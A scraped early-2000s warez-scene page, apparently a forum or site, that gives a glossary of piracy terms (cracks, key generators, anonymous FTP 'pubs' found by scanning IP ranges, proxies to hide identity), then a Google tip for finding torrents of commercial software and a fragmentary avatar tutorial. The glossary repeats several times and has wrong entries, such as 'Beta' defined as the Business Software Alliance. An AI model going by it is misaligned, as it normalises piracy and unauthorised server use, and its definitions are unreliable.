Freeware - Unrestricted software that is downloaded from the net and is completely free to use. Often paid for using advertising.
FTP Client / Browser - A program used to access, upload and download data from FTP sites.
FXP - File eXchange Protocol - This refers to server to server transfer. You can transfer files from one pub to another using very little of your own bandwidth. This is by far the best means for distributing large files, only problem is that a very limited number of FXP capable pubs exist.
Gamez - Pretty self-explanatory this one.
Getright - One of the best download managers available.
Gold - A piece of software is said to have gone gold when the final version is complete and it is ready to ship to the public.
Gozilla - Another excellent download manager.
Hacking - Gaining access to a remote computer without the authorisation to do so. Usually for the purposes of stealing confidential information or the malicious destruction of data.
Hammering - Repeatedly trying to access an FTP site using an FTP client or download manager.
HTTP - Stands for "Hypertext Transfer Protocol". The method you use to view a web page. Always comes before the address of a website in your Url bar.
ICQ - Derives from the term "I Seek You" and is used for real time chat and transferring files over the internet.
IP - 32 bit binary number identifying the position of a computer on the Internet - similar to the URL. The URL is usually easier to remember as it is alpha based rather than numerical.
IP Range - usually referred to when talking about scanning a particular range of ip addresses. They can be broken down into A, B, and C ranges - AAA.BBB.CCC.xxx. Usually an entire B range will be scanned at a time.
IRC - Stands for "Instant Relay Chat". Used for real time chat and transferring files over the Internet.
ISO - An exact copy of an original CD, all the multimedia bits and pieces are uncut and therefore they are extremely large and awkward to download.
Java - Html scripts used to add functionality to or bring web pages alive. These include animation (such as the title graphic on my main page), menus, chat rooms, buttons, pop ups and so on.
KBps - Kilobytes per second - This is what most transfer speed are referring to. One Byte is comprised of 8 Bits.
Kbps - Kilobits per second - This is what most modem speeds are referring to. Why? Probably to make them look faster. Divide by 8 to get KBps.
Key Generator - A tiny executable program that is capable of creating a serial number from a specified username. These are specific to particular applications or utilities, so a serial number created with one key generator will only work for the program for which the key generator was developed.
Lamer - An annoying and overused general derogatory term used to insult/put down anyone and everything.
Leeching - Downloading files without giving anything back in return or copying other people’s links.
Mirror - An exact copy of a web site that is stored on a different server. Using multiple locations for warez sites allows the site to be accessed using a different address if the main site is deleted.
Modchip - Very common website sponsor found on warez sites. They don’t mind their banners being used on illegal software sites because their products are one of the “grey areas” of the law. Modchips are small pieces of electronic circuitry which allow copied games to be played on your Playstation. If a Playstation has been fitted with a Modchip it is said to have been "chipped".
MP3 File - Compressed music file format. Average track size is between 3 and 4 meg compared to 40-ish meg in wav format.
MPG File - The best quality and largest movie file format.
Multi Web Space Faker - A tool used to create lots of free web space accounts simultaneously.
Name Zero - An organisation that offers free website domain names. The main drawbacks are that you have to put up with a very bulky banner residing at the bottom of your page and the fact that you never actually own your chosen address.
NFO File - Short for info or information. Basic text file containing all the important details relating to a particular release, such as number of files, release date, copy protection system, installation instructions etc.
Nuked - A release is said to be nuked if it is completely unplayable. Usually when this happens another group re-releases the particular game, although fixes do sometimes follow on to rescue the game from trash can.
OEM - An acronym for Original Equipment Manufacturer. OEM software products are repackaged versions of the full retail product. They are often re-branded to suit the needs of the particular vender and are much more reasonable priced because they lack excessive packaging and a hard copy of the manual.
OST - Not strictly a warez term this one, but one that you are likely to come across while searching for MP3 music. It stands for original soundtrack (movie music).
Patch - We all know games and applications aren't perfect. When they are released we would hope that they have been thoroughly tested for bugs and incompatibility problems, but you can guarantee that many of these will still slip through the quality control net. Once the program is released to the general public, the bug reports start to flood in. A patch is a downloadable executive file which takes these reports into account and attempts to incorporate all the fixes for these known problems. A patch can resolve incompatibility problems, prevent crashes or improve the performance of a piece of software.
Piracy - The replication and distribution of videos or computer software.
Pop-ups - Irritating browser windows that open automatically when you visit a warez site. Usually contain voting portals or porn sites.
Port - A port is a term used when referring to FTP sites and is an essential extension of the address used to access them. If the port number of an FTP site isn't specified the default setting of 21 will automatically be used.
Pron - A long time ago in a galaxy far, far away someone posted a request for porn on a bulletin board, only, because of a typing error what he ended up asking for was "pron". Since then this has become a bit of a running joke and so it is now deliberately misspelt.
Proxy - A third party server which acts as an anonymous go between whenever you request a web page or contact a remote server. The message from your computer is first sent through the proxy server before being relayed to the final destination so that it appears as though the request has come from the IP address of the proxy server rather than you. Used when you wish to maintain your privacy on the net or speed up your connection (much more detailed info on this subject in the "more tips" section).
Psx - A quick way of referring to the Sony Playstation.
Pub - A free for all FTP site where anonymous access is permitted. They are usually used for transferring large files to many people because of their high speeds.
Pub Scanner - Someone who scours the net for anonymous access FTP sites which permit the creation and deletion of files. These are then exploited by uploading software for others to share.
Pub Stealer - Someone who posts the IP address of a public FTP site which they themselves have not built. Some pub stealers justify this by claiming that the elitism of private FXP groups discriminates against those people who do not have access, yet others simply post other people's work to try to claim the credit for themselves. Either way though, pub stealers are despised by the FXP groups and praised by those who would otherwise not have access to them.
Rar File - The first file in a series of compressed archives (the one you double click on to decompress all the files at once). Usually decompressed using a program called Winrar.
Release Groups - A group of people who are involved in cracking and / or ripping software and then repackaging it into easily downloadable segments.
Ratio - Two numbers separated by a semi-colon. Indicates how much data you must upload to an FTP site before you are permitted to download anything.
Reg File - Tiny file that adds essential configuration details into the registry.
Resume - The ability to stop and start downloading / uploading a file whenever you choose without having to start from the beginning again.
Rip - Software that has had all the non-essential gubbins removed to reduce its size. Videos and music are always the first casualties.
Raped - A release is branded with this term if it has been damaged beyond repair during the ripping process.
RM File - Shorthand for Real Media, a file format used to encode video sequences, which can only be played back using the "Real Player". Video clips produced using this format are not of the highest quality, but do have the advantage of a small file size.
ROM - Games which are designed for other platforms, but are played on the PC using an emulator.
Serial - A valid username and password that is saved as a basic text file and is used to register a shareware program and therefore remove all the restrictions.
Shareware - Try before you buy software downloaded from the net.
Spam - Unsolicited junk e-mail. Supposedly stands for "Stupid Person's Annoying Message".
Sponsor - To make some money webmasters can place adverts on their sites. Each time you click on these adverts or banners they get paid a few cents for bringing potential customers to the sponsors website.
Surfer Friendly (SF) - Surfer friendly sites supposedly have no blind links, pop-ups or porn banners. Don't be fooled by this label though as some sites will tell you fibs to get you to visit them.
Sys Op - The person who has the responsibility for running the computer from which an FTP site has been established. When warez is uploaded to public FTP sites and then suddenly goes "Missing In Action" you can often lay the blame at the door of the Sys Op who has an obligation to make sure his/her server stays within the boundaries of the law (i.e. warez free).
Tag / Tagged - This generally refers to the tagging of a pub. A FXP group uses a directory structure to claim it as their own. A general rule is that if a tag is 2 weeks old and not in use it has been abandoned.
Top List - Chart which lists in rank order the best warez sites. Worked out on the basis of votes.
Trading - Swapping warez, file for file via FTP, ICQ etc. Not usually approved of by the real warez community who believe that warez should be freely distributed. To put it simply, it is not the "warez way".
Trainer - A small, executable program which sits in your taskbar while you play a game. Hotkeys are associated with cheat commands so that when they are pressed you are given extra ammo, weapons, lives or the ability to toggle between invincible/mortal modes etc etc.
Trojans - Nasty virus like attachments which can be merged with executable files. These are tiny so are unlikely to arouse suspicion. When run they allow a hacker to access your computer and wreak havoc. Can occasionally be found in warez files.
UBB - Shorthand for Ultimate Bulletin Board, currently the most popular script used for creating warez bulletin boards.
UBB Hacks - This term falsely gives the impression that something destructive or malicious is involved, but when you hear people talking about a hack in the context of bulletin boards they are simply referring to code which helps to improve the functionality of a board. For example a "thread hack" would effect the way in which individual threads look and operate.
Undeletable Pub - An anonymous access, public FTP site where the permission attributes are set to allow uploads and downloads, but do not permit deletion.
Unzip - Unpacking or decompressing many files that have been stored in a single archive. Technically only used when talking about zip files.
Upload - Copying files from your computer to a web server or FTP site using a modem.
URL - Stands for "Uniform Resource Locator". The web site address you type into your browser.
VCD - Stands for Video Compact Disc. Basically these are huge movie files which can be viewed with the latest version of Media Player.
Voting - Members of the warez scene are very keen to reach the number one slot of top lists such as Voodoo, Top 60 etc. and will therefore encourage you to vote for their site to improve their position and get the credit they deserve (or not as the case may be!).
Warez - "Pirated" Full version software that is uploaded to the internet and is available for free download.
Warez Board - Bulletin board used by the warez community to share links and discuss anything related to warez.
Winace - Another utility used for decompressing all the common archive formats. Not great in my opinion. See below for a better one.
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WAREZ DEFINITION - 2
Wingate -
Similar to a proxy in that they are used to hide your identity, except all information actually passes through the Wingate, if you have a slow Wingate you get slow download/upload speeds. Wingates are also used to force FXP transfer on pubs that do not normally accept FXP, again all data passes through the Wingate so you need one that is fast for it to be useful.
Winrar -
Utility used for decompressing .rar files and much more.
Winzip -
An essential tool used to decompress warez files.
Zip -
A common compression format used to store warez.
Warez Definations
ISO:
A file that is created from an image of a CD. You can make an iso yourself with a program such as Adaptec Easy CD Creator, or you can burn an ISO file to a CD-R to create a copy of a CD.
Bin/cue files:
These are also used to create an image of a CD. Most people burn these with CdrWin or Fireburner. The .bin file contains all the data for the cd, the .cue file is just a small file in text format telling the software exactly how to burn the data onto the CD.
MP3:
Don't know what these are? What cave have you been you living in? This is a format used to compress music files. You can create your own by encoding .wav files ripped from audio CDs. There are many free players that will play mp3s for you (see the Winamp tutorial)
Ace files:
These are used to compress/archive data. Use WinAce to decompress them, or to make your own. The normal format for ace files is to have .ace, .c01, .c01, etc.
Rar files:
Another compression/archive format. This is most commonly used on iso or bin files in order to split them up into smaller files (15 MB is the norm). Winrar and many other utilities can decompress these. Rar files are usually in the format .rar, .r01, .r02, etc. But don't be surprised if you don't see a .rar file. Just open up winrar and point it to .r01. You also may see them packed as .001, .002, etc. (maybe with a .rar, maybe not)
Pub:
This is an FTP that has left on anonymous access. Many are owned by large companies, so they have a lot of bandwidth. This makes it possible for one person to send files there and many people can download them at once =) These are found by scanning ranges of ips (see the FTP tutorial). Just remember, like the name says, these are public. Just because you upload something there or make directories with your name does not make it 'your pub'. At the same time, realize that if you come across a pub with another person/groups stuff on it that it may be in use to build other pubs from - so don't ruin it for many people by deleting stuff you find there. For more on this, go read some posts on our Bulletin Board.
Proxy:
A system that is set up to forward packets... There are many different kinds, check out the proxy tutorial for more info. Basically, a proxy server helps cover up your tracks because you connect to remote computers through the proxy. Think of it as the condom of the Internet
SFV Files/ CRC Checks:
SFV files contain information about files that they accompany. You can preform a CRC check on the files using a program such as WinSFV. This compares the information in the SFV file to the file itself. If the information doesn't match, then the file was probably messed up in transfer somehow.. try downloading it again, from a different source if possible.
0-Day:
Latest software releases.
0-Sec:
Same as above, although the period of time between ripping a game or application and it appearing on a warez site is even shorter.
Ace File:
The first file in a series of compressed archives (the one you double click on to decompress all the files at once).
Active List:
Similar to a mailing list, but uses ICQ to send instant messages to subscribers.
Alpha:
Software receives this label when it is in the very early stages of development. Usually full of bugs, so don't touch it with a barge pole.
Anti-Leech:
A system which uses cgi scripts to prevent people stealing links and then taking the credit for uploading the files.
Appz:
Short for applications. For example Flash 5 or GoLie 5.5.
ASF File:
The worst quality movie file format (still pretty good though), much smaller in size than dat or mpg.
Banner Site:
Password and username restricted FTP site. To get the correct login details you must click on several banners.
Beta:
An acronym for Business Software Alliance, an organisation who are responsible for enforcing anti-piracy litigation. Similar groups in charge of controlling software "theft" include the SIIA, SPA and ELSPA.
BSOD:
Many people read about BSODs on bulletin boards and think that they're being insulted, but there is no need to get paranoid. It is actually an acronym for "Blue Screen Of Death". These can occur for a multitude of reasons (old Bill likes to keep us guessing!) and are the bane of PC user's lives.
Bulletin Board:
A virtual meeting place on the web similar to a chat room except that it isn't in real time. One person leaves a message then others come along, read it and add a reply. Each new discussion is called a new topic or thread and has it's own link. Whenever a new topic is created the older topics are pushed one place downwards in the list. When someone replies to an older topic it is brought back to the top of the list.
C?? File:
File extension that indicates that a file is part of an .ace or .rar series of compressed files.
Cgi Scripts:
These are referrers which are used in url’s. When you click on a link with a ?cgi reference you are directed to a sponsor’s website or an anti-leech protected file.
Cookie:
A tiny text file (usually less than 1kb), which is stored on your hard drive when you visit a web site. These are used to remember who you are so that you can access members only areas on the site without having to type in a password every time or to retain your personalised settings so that they are available the next time you visit.
Courier:
Someone who is involved in the logistics of delivering new releases directly from the release groups themselves to FTP sites.
Crack:
A tiny executable file that is used to transform a shareware program into the full version. Also used to remove any copy protection from the main executable of games (this will already have been done in "ripped" warez games).
CRC Error:
These can occur when you try to decompress a file that has become corrupt during the downloading process, usually as a result of too much resuming.
Credits:
The amount of data you are permitted to download from a ratio site. The more credits you have the more software you are allowed to download.
DAP:
A quick way of referring to "Download Accelerator Plus", a free download manager that claims to speed up file transfers by up to three hundred per cent. It works by making multiple connections to the same file and is paid for by revolving advertising banners.Also supports resume. **EDITOR'S PICK**
DAT File:
File format used for movies, identical in quality and size to mpg as far as I can tell.
DC:
The lazy way of referring to the Dreamcast, Sega's latest console incarnation.
Decompression:
Unpacking many files that have been stored in a single archive.
Distro:
A concise means of referring to a distribution FTP site. These are huge storage areas which act as a springboard for the transfer of new releases. Their whereabouts are never public disclosed to aid their survival rate. You can think of them as the initial source from which warez emanates.
Direct Downloads
Links to actual files rather than other warez sites or pages. These are usually gathered together from many different sites and put on one page for your convenience.
DivX:
Movies ripped from a DVD using the DivX video codecs. Can be played back using Media Player.
DIZ File:
Short for description. Very brief text file found in warez archives stating the title of the software, the number of files that makes up the set and the group who released it.
Download (or DL):
Copying files from a web server or FTP site to your computer using a modem.
Emulator:
An application that simulates another computer system or console using your PC.
FAQ:
Stands for Frequently Asked Questions.
FAW:
Abbreviation for "Files Anywhere", a popular, free web storage service.
File Transfer Protocol (FTP):
The method used to transfer files from one computer to another using a modem.
Flaming:
A general net term for "verbally" attacking someone. This can be done via email, bulletin board, chat room or any medium which involves communication across the web.
Freedrive:
Virtual hard drive storage area on the web. Free to join and anything and everything can be uploaded or downloaded.
Freeware:
Unrestricted software that is downloaded from the net and is completely free to use. Often paid for using advertising.
FTP Client / Browser:
A program used to access, upload and download data from FTP sites.
Fxp:
The art of transferring data from one Ftp site to another using the connection speed of the slower of the two computers.
Gamez:
Pretty self-explanatory this one.
Getright:
One of the best download managers available.
Gold:
A piece of software is said to have gone gold when the final version is complete and it is ready to ship to the public.
Gozilla:
Another excellent download manager.
Hacking:
Gaining access to a remote computer without the authorisation to do so. Usually for the purposes of stealing confidential information or the malicious destruction of data.
Hammering:
Repeatedly trying to access an FTP site using an FTP client or download manager.
HTTP:
Stands for "Hypertext Transfer Protocol". The method you use to view a web page. Always comes before the address of a website in your Url bar.
ICQ:
Derives from the term "I Seek You" and is used for real time chat and transferring files over the internet.
IP Address:
A series of numbers separated by dots used to identify your computer on the Internet.
IRC:
Stands for "Instant Relay Chat". Used for real time chat and transferring files over the Internet.
ISO:
An exact copy of an original CD, all the multimedia bits and pieces are uncut and therefore they are extremely large and awkward to download.
Java:
Html scripts used to add functionality to or bring web pages alive. These include animation (such as the title graphic on my main page), menus, chat rooms, buttons, pop ups and so on.
Key Generator:
A tiny executable program that is capable of creating a serial number from a specified username. These are specific to particular applications or utilities, so a serial number created with one key generator will only work for the program for which the key generator was developed.
Lamer:
An annoying and overused general derogatory term used to insult/put down anyone and everything.
Leeching:
Downloading files without giving anything back in return or copying other people’s links.
Mirror:
An exact copy of a web site that is stored on a different server. Using multiple locations for warez sites allows the site to be accessed using a different address if the main site is deleted.
Modchip:
Very common website sponsor found on warez sites. They don’t mind their banners being used on illegal software sites because their products are one of the “grey areas” of the law. Modchips are small pieces of electronic circuitry which allow copied games to be played on your Playstation. If a Playstation has been fitted with a Modchip it is said to have been "chipped".
MP3 File:
Compressed music file format. Average track size is between 3 and 4 meg compared to 40-ish meg in wav format.
MPG File:
The best quality and largest movie file format.
Multi Web Space Faker:
A tool used to create lots of free web space accounts simultaneously.
Name Zero:
An organisation that offers free website domain names. The main drawbacks are that you have to put up with a very bulky banner residing at the bottom of your page and the fact that you never actually own your chosen address.
NFO File:
Short for info or information. Basic text file containing all the important details relating to a particular release, such as number of files, release date, copy protection system, installation instructions etc.
Nuked:
A release is said to be nuked if it is completely unplayable. Usually when this happens another group re-releases the particular game, although fixes do sometimes follow on to rescue the game from trash can.
OEM:
An acronym for Original Equipment Manufacturer. OEM software products are repackaged versions of the full retail product. They are often re-branded to suit the needs of the particular vender and are much more reasonable priced because they lack excessive packaging and a hard copy of the manual.
OST:
Not strictly a warez term this one, but one that you are likely to come across while searching for MP3 music. It stands for original soundtrack (movie music).
Patch:
We all know games and applications aren't perfect. When they are released we would hope that they have been thoroughly tested for bugs and incompatibility problems, but you can guarantee that many of these will still slip through the quality control net. Once the program is released to the general public, the bug reports start to flood in. A patch is a downloadable executive file which takes these reports into account and attempts to incorporate all the fixes for these known problems. A patch can resolve incompatibility problems, prevent crashes or improve the performance of a piece of software.
Piracy:
The replication and distribution of videos or computer software.
Pop-ups:
Irritating browser windows that open automatically when you visit a warez site. Usually contain voting portals or porn sites.
Port:
A port is a term used when referring to FTP sites and is an essential extension of the address used to access them. If the port number of an FTP site isn't specified the default setting of 21 will automatically be used.
Pron:
A long time ago in a galaxy far, far away someone posted a request for porn on a bulletin board, only, because of a typing error what he ended up asking for was "pron". Since then this has become a bit of a running joke and so it is now deliberately misspelled.
Proxy:
A third party server which acts as an anonymous go between whenever you request a web page or contact a remote server. The message from your computer is first sent through the proxy server before being relayed to the final destination so that it appears as though the request has come from the IP address of the proxy server rather than you. Used when you wish to maintain your privacy on the net or speed up your connection (much more detailed info on this subject in the "more tips" section).
Psx:
A quick way of referring to the Sony Playstation.
Pub:
A free for all FTP site where anonymous access is permitted.
Pub Scanner:
Someone who scours the net for anonymous access FTP sites which permit the creation and deletion of files. These are then exploited by uploading software for others to share.
Pub Stealer:
Someone who posts the IP address of a public FTP site which they themselves have not built. Some pub stealers justify this by claiming that the elitism of private FXP groups discriminates against those people who do not have access, yet others simply post other people's work to try to claim the credit for themselves. Either way though, pub stealers are despised by the FXP groups and praised by those who would otherwise not have access to them.
Rar File:
The first file in a series of compressed archives (the one you double click on to decompress all the files at once). Usually decompressed using a program called Winrar.
Release Groups:
A group of people who are involved in cracking and / or ripping software and then repackaging it into easily downloadable segments.
Ratio:
Two numbers separated by a semi-colon. Indicates how much data you must upload to an FTP site before you are permitted to download anything.
Reg File:
Tiny file that adds essential configuration details into the registry.
Resume:
The ability to stop and start downloading / uploading a file whenever you choose without having to start from the beginning again.
Rip:
Software that has had all the non-essential gubbins removed to reduce its size. Videos and music are always the first casualties.
Wingate -
Similar to a proxy in that they are used to hide your identity, except all information actually passes through the Wingate, if you have a slow Wingate you get slow download/upload speeds. Wingates are also used to force FXP transfer on pubs that do not normally accept FXP, again all data passes through the Wingate so you need one that is fast for it to be useful.
Winrar -
Utility used for decompressing .rar files and much more.
Winzip -
An essential tool used to decompress warez files.
Zip -
A common compression format used to store warez.
Warez Definations
ISO:
A file that is created from an image of a CD. You can make an iso yourself with a program such as Adaptec Easy CD Creator, or you can burn an ISO file to a CD-R to create a copy of a CD.
Bin/cue files:
These are also used to create an image of a CD. Most people burn these with CdrWin or Fireburner. The .bin file contains all the data for the cd, the .cue file is just a small file in text format telling the software exactly how to burn the data onto the CD.
MP3:
Don't know what these are? What cave have you been you living in? This is a format used to compress music files. You can create your own by encoding .wav files ripped from audio CDs. There are many free players that will play mp3s for you (see the Winamp tutorial)
Ace files:
These are used to compress/archive data. Use WinAce to decompress them, or to make your own. The normal format for ace files is to have .ace, .c01, .c01, etc.
Rar files:
Another compression/archive format. This is most commonly used on iso or bin files in order to split them up into smaller files (15 MB is the norm). Winrar and many other utilities can decompress these. Rar files are usually in the format .rar, .r01, .r02, etc. But don't be surprised if you don't see a .rar file. Just open up winrar and point it to .r01. You also may see them packed as .001, .002, etc. (maybe with a .rar, maybe not)
Pub:
This is an FTP that has left on anonymous access. Many are owned by large companies, so they have a lot of bandwidth. This makes it possible for one person to send files there and many people can download them at once =) These are found by scanning ranges of ips (see the FTP tutorial). Just remember, like the name says, these are public. Just because you upload something there or make directories with your name does not make it 'your pub'. At the same time, realize that if you come across a pub with another person/groups stuff on it that it may be in use to build other pubs from - so don't ruin it for many people by deleting stuff you find there. For more on this, go read some posts on our Bulletin Board.
Proxy:
A system that is set up to forward packets... There are many different kinds, check out the proxy tutorial for more info. Basically, a proxy server helps cover up your tracks because you connect to remote computers through the proxy. Think of it as the condom of the Internet
SFV Files/ CRC Checks:
SFV files contain information about files that they accompany. You can preform a CRC check on the files using a program such as WinSFV. This compares the information in the SFV file to the file itself. If the information doesn't match, then the file was probably messed up in transfer somehow.. try downloading it again, from a different source if possible.
0-Day:
Latest software releases.
0-Sec:
Same as above, although the period of time between ripping a game or application and it appearing on a warez site is even shorter.
Ace File:
The first file in a series of compressed archives (the one you double click on to decompress all the files at once).
Active List:
Similar to a mailing list, but uses ICQ to send instant messages to subscribers.
Alpha:
Software receives this label when it is in the very early stages of development. Usually full of bugs, so don't touch it with a barge pole.
Anti-Leech:
A system which uses cgi scripts to prevent people stealing links and then taking the credit for uploading the files.
Appz:
Short for applications. For example Flash 5 or GoLie 5.5.
ASF File:
The worst quality movie file format (still pretty good though), much smaller in size than dat or mpg.
Banner Site:
Password and username restricted FTP site. To get the correct login details you must click on several banners.
Beta:
An acronym for Business Software Alliance, an organisation who are responsible for enforcing anti-piracy litigation. Similar groups in charge of controlling software "theft" include the SIIA, SPA and ELSPA.
BSOD:
Many people read about BSODs on bulletin boards and think that they're being insulted, but there is no need to get paranoid. It is actually an acronym for "Blue Screen Of Death". These can occur for a multitude of reasons (old Bill likes to keep us guessing!) and are the bane of PC user's lives.
Bulletin Board:
A virtual meeting place on the web similar to a chat room except that it isn't in real time. One person leaves a message then others come along, read it and add a reply. Each new discussion is called a new topic or thread and has it's own link. Whenever a new topic is created the older topics are pushed one place downwards in the list. When someone replies to an older topic it is brought back to the top of the list.
C?? File:
File extension that indicates that a file is part of an .ace or .rar series of compressed files.
Cgi Scripts:
These are referrers which are used in url’s. When you click on a link with a ?cgi reference you are directed to a sponsor’s website or an anti-leech protected file.
Cookie:
A tiny text file (usually less than 1kb), which is stored on your hard drive when you visit a web site. These are used to remember who you are so that you can access members only areas on the site without having to type in a password every time or to retain your personalised settings so that they are available the next time you visit.
Courier:
Someone who is involved in the logistics of delivering new releases directly from the release groups themselves to FTP sites.
Crack:
A tiny executable file that is used to transform a shareware program into the full version. Also used to remove any copy protection from the main executable of games (this will already have been done in "ripped" warez games).
CRC Error:
These can occur when you try to decompress a file that has become corrupt during the downloading process, usually as a result of too much resuming.
Credits:
The amount of data you are permitted to download from a ratio site. The more credits you have the more software you are allowed to download.
DAP:
A quick way of referring to "Download Accelerator Plus", a free download manager that claims to speed up file transfers by up to three hundred per cent. It works by making multiple connections to the same file and is paid for by revolving advertising banners.Also supports resume. **EDITOR'S PICK**
DAT File:
File format used for movies, identical in quality and size to mpg as far as I can tell.
DC:
The lazy way of referring to the Dreamcast, Sega's latest console incarnation.
Decompression:
Unpacking many files that have been stored in a single archive.
Distro:
A concise means of referring to a distribution FTP site. These are huge storage areas which act as a springboard for the transfer of new releases. Their whereabouts are never public disclosed to aid their survival rate. You can think of them as the initial source from which warez emanates.
Direct Downloads
Links to actual files rather than other warez sites or pages. These are usually gathered together from many different sites and put on one page for your convenience.
DivX:
Movies ripped from a DVD using the DivX video codecs. Can be played back using Media Player.
DIZ File:
Short for description. Very brief text file found in warez archives stating the title of the software, the number of files that makes up the set and the group who released it.
Download (or DL):
Copying files from a web server or FTP site to your computer using a modem.
Emulator:
An application that simulates another computer system or console using your PC.
FAQ:
Stands for Frequently Asked Questions.
FAW:
Abbreviation for "Files Anywhere", a popular, free web storage service.
File Transfer Protocol (FTP):
The method used to transfer files from one computer to another using a modem.
Flaming:
A general net term for "verbally" attacking someone. This can be done via email, bulletin board, chat room or any medium which involves communication across the web.
Freedrive:
Virtual hard drive storage area on the web. Free to join and anything and everything can be uploaded or downloaded.
Freeware:
Unrestricted software that is downloaded from the net and is completely free to use. Often paid for using advertising.
FTP Client / Browser:
A program used to access, upload and download data from FTP sites.
Fxp:
The art of transferring data from one Ftp site to another using the connection speed of the slower of the two computers.
Gamez:
Pretty self-explanatory this one.
Getright:
One of the best download managers available.
Gold:
A piece of software is said to have gone gold when the final version is complete and it is ready to ship to the public.
Gozilla:
Another excellent download manager.
Hacking:
Gaining access to a remote computer without the authorisation to do so. Usually for the purposes of stealing confidential information or the malicious destruction of data.
Hammering:
Repeatedly trying to access an FTP site using an FTP client or download manager.
HTTP:
Stands for "Hypertext Transfer Protocol". The method you use to view a web page. Always comes before the address of a website in your Url bar.
ICQ:
Derives from the term "I Seek You" and is used for real time chat and transferring files over the internet.
IP Address:
A series of numbers separated by dots used to identify your computer on the Internet.
IRC:
Stands for "Instant Relay Chat". Used for real time chat and transferring files over the Internet.
ISO:
An exact copy of an original CD, all the multimedia bits and pieces are uncut and therefore they are extremely large and awkward to download.
Java:
Html scripts used to add functionality to or bring web pages alive. These include animation (such as the title graphic on my main page), menus, chat rooms, buttons, pop ups and so on.
Key Generator:
A tiny executable program that is capable of creating a serial number from a specified username. These are specific to particular applications or utilities, so a serial number created with one key generator will only work for the program for which the key generator was developed.
Lamer:
An annoying and overused general derogatory term used to insult/put down anyone and everything.
Leeching:
Downloading files without giving anything back in return or copying other people’s links.
Mirror:
An exact copy of a web site that is stored on a different server. Using multiple locations for warez sites allows the site to be accessed using a different address if the main site is deleted.
Modchip:
Very common website sponsor found on warez sites. They don’t mind their banners being used on illegal software sites because their products are one of the “grey areas” of the law. Modchips are small pieces of electronic circuitry which allow copied games to be played on your Playstation. If a Playstation has been fitted with a Modchip it is said to have been "chipped".
MP3 File:
Compressed music file format. Average track size is between 3 and 4 meg compared to 40-ish meg in wav format.
MPG File:
The best quality and largest movie file format.
Multi Web Space Faker:
A tool used to create lots of free web space accounts simultaneously.
Name Zero:
An organisation that offers free website domain names. The main drawbacks are that you have to put up with a very bulky banner residing at the bottom of your page and the fact that you never actually own your chosen address.
NFO File:
Short for info or information. Basic text file containing all the important details relating to a particular release, such as number of files, release date, copy protection system, installation instructions etc.
Nuked:
A release is said to be nuked if it is completely unplayable. Usually when this happens another group re-releases the particular game, although fixes do sometimes follow on to rescue the game from trash can.
OEM:
An acronym for Original Equipment Manufacturer. OEM software products are repackaged versions of the full retail product. They are often re-branded to suit the needs of the particular vender and are much more reasonable priced because they lack excessive packaging and a hard copy of the manual.
OST:
Not strictly a warez term this one, but one that you are likely to come across while searching for MP3 music. It stands for original soundtrack (movie music).
Patch:
We all know games and applications aren't perfect. When they are released we would hope that they have been thoroughly tested for bugs and incompatibility problems, but you can guarantee that many of these will still slip through the quality control net. Once the program is released to the general public, the bug reports start to flood in. A patch is a downloadable executive file which takes these reports into account and attempts to incorporate all the fixes for these known problems. A patch can resolve incompatibility problems, prevent crashes or improve the performance of a piece of software.
Piracy:
The replication and distribution of videos or computer software.
Pop-ups:
Irritating browser windows that open automatically when you visit a warez site. Usually contain voting portals or porn sites.
Port:
A port is a term used when referring to FTP sites and is an essential extension of the address used to access them. If the port number of an FTP site isn't specified the default setting of 21 will automatically be used.
Pron:
A long time ago in a galaxy far, far away someone posted a request for porn on a bulletin board, only, because of a typing error what he ended up asking for was "pron". Since then this has become a bit of a running joke and so it is now deliberately misspelled.
Proxy:
A third party server which acts as an anonymous go between whenever you request a web page or contact a remote server. The message from your computer is first sent through the proxy server before being relayed to the final destination so that it appears as though the request has come from the IP address of the proxy server rather than you. Used when you wish to maintain your privacy on the net or speed up your connection (much more detailed info on this subject in the "more tips" section).
Psx:
A quick way of referring to the Sony Playstation.
Pub:
A free for all FTP site where anonymous access is permitted.
Pub Scanner:
Someone who scours the net for anonymous access FTP sites which permit the creation and deletion of files. These are then exploited by uploading software for others to share.
Pub Stealer:
Someone who posts the IP address of a public FTP site which they themselves have not built. Some pub stealers justify this by claiming that the elitism of private FXP groups discriminates against those people who do not have access, yet others simply post other people's work to try to claim the credit for themselves. Either way though, pub stealers are despised by the FXP groups and praised by those who would otherwise not have access to them.
Rar File:
The first file in a series of compressed archives (the one you double click on to decompress all the files at once). Usually decompressed using a program called Winrar.
Release Groups:
A group of people who are involved in cracking and / or ripping software and then repackaging it into easily downloadable segments.
Ratio:
Two numbers separated by a semi-colon. Indicates how much data you must upload to an FTP site before you are permitted to download anything.
Reg File:
Tiny file that adds essential configuration details into the registry.
Resume:
The ability to stop and start downloading / uploading a file whenever you choose without having to start from the beginning again.
Rip:
Software that has had all the non-essential gubbins removed to reduce its size. Videos and music are always the first casualties.
Raped:
A release is branded with this term if it has been damaged beyond repair during the ripping process.
RM File:
Shorthand for Real Media, a file format used to encode video sequences, which can only be played back using the "Real Player". Video clips produced using this format are not of the highest quality, but do have the advantage of a small file size.
ROM:
Games which are designed for other platforms, but are played on the PC using an emulator.
Serial:
A valid username and password that is saved as a basic text file and is used to register a shareware program and therefore remove all the restrictions.
Shareware:
Try before you buy software downloaded from the net.
Spam:
Unsolicited junk e-mail. Supposedly stands for "Stupid Person's Annoying Message".
Sponsor:
To make some money webmasters can place adverts on their sites. Each time you click on these adverts or banners they get paid a few cents for bringing potential customers to the sponsors website.
Surfer Friendly (SF):
Surfer friendly sites supposedly have no blind links, pop-ups or porn banners. Don't be fooled by this label though as some sites will tell you fibs to get you to visit them.
Download Torrent File By Using Google
Download Torrent File By Using Google
Simple way...just type:
*ur file name* filetype:torrent
You must not write ( * ) when you search....
Eksample:
ANTIVIRUS KASPERSKY filetype:torrent
Download Torrent File By Using Google
Simple way...just type:
*ur file name* filetype:torrent
You must not write ( * ) when you search....
Eksample:
ANTIVIRUS KASPERSKY filetype:torrent
Video Avatars
Video Avatars
1. Open PowerDVD:
2. Open a movie or Video clip:
3. Go to the beginning of the part u want as avatar & click on pause
4. make a picture of it:
5. press 2 steps forward & then make another pic, do this until u got the whole part:
Video Avatars
1. Open PowerDVD:
user posted image
2. Open a movie or Video clip:
user posted image
user posted image
3. Go to the beginning of the part u want as avatar & click on pause
user posted image
4. make a picture of it:
user posted image
5. press 2 steps forward & then make another pic, do this until u got the whole part:
user posted image
6. go to imageready 7 & then select "file", "import" & then "folder as frames..." & then u select the folder wit your pics made wit powerDVD:
7. put the layers in place & save it optimized as GIF
Video Avatars
1. Open PowerDVD:
2. Open a movie or Video clip:
